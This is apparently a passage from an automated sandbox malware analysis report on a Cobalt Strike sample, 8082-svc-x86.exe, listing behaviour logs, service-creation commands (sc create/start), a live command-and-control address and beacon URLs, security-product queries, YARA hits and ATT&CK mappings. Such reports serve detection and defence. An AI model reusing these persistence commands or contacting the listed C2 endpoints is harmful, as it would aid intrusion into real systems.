Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30638	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32093	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37905	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33303	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32891	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33658	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37541	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33800	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36807	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30682	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32285	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35842	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30964	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30947	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33790	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37428	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32154	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37178	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35067	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37249	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37662	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33955	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30404	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35689	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34898	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38153	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31585	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33799	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34195	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30655	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33846	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33983	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37687	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31748	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31554	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35956	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37285	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32715	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31486	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36931	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34424	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36419	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37321	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31546	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31147	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30105	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34940	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30886	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35452	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33172	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38454	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32223	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31196	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37515	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31705	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33757	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32208	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30715	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30748	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32347	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33191	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35903	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31598	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33178	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36220	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30365	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31950	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36100	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37666	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34764	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32120	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30896	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35434	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33655	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32249	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36289	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31911	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37177	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35884	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36306	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36421	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38073	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35107	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32999	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36991	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33921	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37647	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36180	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35666	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38388	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37850	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37851	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30175	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35583	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30629	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37805	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38042	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31800	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38270	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34574	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33127	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30877	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31020	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30460	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32085	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35491	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35354	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31446	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35387	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34638	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37620	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36088	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35615	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30403	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36055	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31957	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30422	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33241	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36523	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31825	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30387	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31786	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36939	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32225	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33999	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37570	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32758	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 33974	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 36109	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38326	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 35134	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30968	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34547	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32476	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 32700	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 34279	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 37560	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 38115	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 30078	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread delayed: delay time: 31378	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node			graph_7-16366
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node			graph_7-17758

Source: svchost.exe, 00000008.00000002.774717799.00000267F0602000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000008.00000002.779597445.00000267F063C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.773724213.000001FA2D069000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.780143241.0000026A55829000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010BBBCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

7_2_010BBBCE

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_00401BC9 _winmajor,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

6_2_00401BC9

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A67B6 DeleteProcThreadAttributeList,GetProcessHeap,HeapFree,

7_2_010A67B6

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B49004 mov eax, dword ptr fs:[00000030h]		7_3_00B49004
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_3_00B48374 mov eax, dword ptr fs:[00000030h]		7_3_00B48374

Source: C:\Users\user\Desktop\8082-svc-x86.exe	Code function: 6_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,GetProcAddress,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,	6_2_00401180
Source: C:\Users\user\Desktop\8082-svc-x86.exe	Code function: 6_2_00402B60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	6_2_00402B60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010BBBCE IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_010BBBCE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010B7D50 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_010B7D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010BDDF0 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_010BDDF0

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 20.104.209.69 8082

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010AA2E0 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

7_2_010AA2E0

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\sc.exe sc start CfsHz	Jump to behavior
Source: C:\Users\user\Desktop\8082-svc-x86.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\System32\rundll32.exe	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010AA49C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

7_2_010AA49C

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: GetLocaleInfoA,

7_2_010C1E2D

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_004017FC CreateNamedPipeA,ConnectNamedPipe,WriteFile,FindCloseChangeNotification,

6_2_004017FC

Source: C:\Users\user\Desktop\8082-svc-x86.exe

Code function: 6_2_00402A90 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00402A90

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A58DD GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

7_2_010A58DD

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010A58DD GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

7_2_010A58DD

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 0000000E.00000002.773591922.000001C7BFA3D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000E.00000002.773636213.000001C7BFB02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.780101096.00000000010C6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8082-svc-x86.exe PID: 1284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3128, type: MEMORYSTR
Source: Yara match	File source: 8082-svc-x86.exe, type: SAMPLE
Source: Yara match	File source: 6.2.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.8082-svc-x86.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010AA8AE socket,closesocket,htons,bind,listen,		7_2_010AA8AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A5E84 htons,ioctlsocket,closesocket,bind,listen,		7_2_010A5E84

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	3 Native API	2 Valid Accounts	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 Service Execution	4 Windows Service	21 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	4 Windows Service	1 Software Packing	NTDS	14 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	112 Process Injection	1 DLL Side-Loading	LSA Secrets	41 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	112 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Valid Accounts	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	21 Access Token Manipulation	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	112 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Rundll32	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
8082-svc-x86.exe	93%	ReversingLabs	Win32.Trojan.CobaltStrike
8082-svc-x86.exe	79%	Virustotal		Browse
8082-svc-x86.exe	100%	Avira	TR/Crypt.XPACK.Gen
8082-svc-x86.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
6.2.8082-svc-x86.exe.400000.0.unpack	100%	Avira	TR/Hijacker.Gen		Download File
6.0.8082-svc-x86.exe.400000.0.unpack	100%	Avira	TR/Hijacker.Gen		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://%s.xboxlive.com	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
http://20.104.209.69:8082/broadcast	0%	Virustotal		Browse
20.104.209.69	1%	Virustotal		Browse
http://20.104.209.69:8082/1/events/com.amazon.csm.csa.prod	2%	Virustotal		Browse
20.104.209.69	0%	Avira URL Cloud	safe
http://20.104.209.69:8082/1/events/com.amazon.csm.csa.prod	0%	Avira URL Cloud	safe
http://20.104.209.69:8082/broadcast	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://20.104.209.69:8082/broadcast	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
20.104.209.69	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://20.104.209.69:8082/1/events/com.amazon.csm.csa.prod	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000B.00000003.315845807.0000027921656000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com	rundll32.exe, 00000007.00000002.780318528.0000000001100000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000B.00000002.316159805.000002792164D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315774082.0000027921648000.00000004.00000020.00020000.00000000.sdmp	false		high
https://d22u79neyj432a.cloudfront.net/bfc50dfa-8e10-44b5-ae59-ac26bfc71489/54857e6d-c060-4b3c-914a-8	rundll32.exe, 00000007.00000002.780464664.0000000003849000.00000004.00000800.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.780479562.0000000003873000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316062632.0000027921613000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316147968.0000027921642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	false		high
